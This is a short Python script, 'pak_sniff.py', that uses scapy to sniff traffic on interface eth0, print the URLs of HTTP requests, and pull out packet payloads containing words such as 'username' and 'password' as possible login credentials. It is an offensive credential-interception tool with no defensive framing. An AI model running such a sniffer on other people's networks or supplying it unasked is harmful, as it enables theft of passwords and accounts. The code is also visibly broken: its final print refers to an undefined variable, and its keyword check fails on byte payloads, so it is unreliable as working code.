pak_sniff.py

import scapy.all as scapy
from scapy.layers import http


# filter include the type of packets we want to capture


def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path


def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        keywords = ["username", "user", "uname", "login", "password", "pass"]
        for keyword in keywords:
            if keyword in load:
                return load


def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >>" + url)

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/Password >> " + load + "\n\n")


sniff("eth0")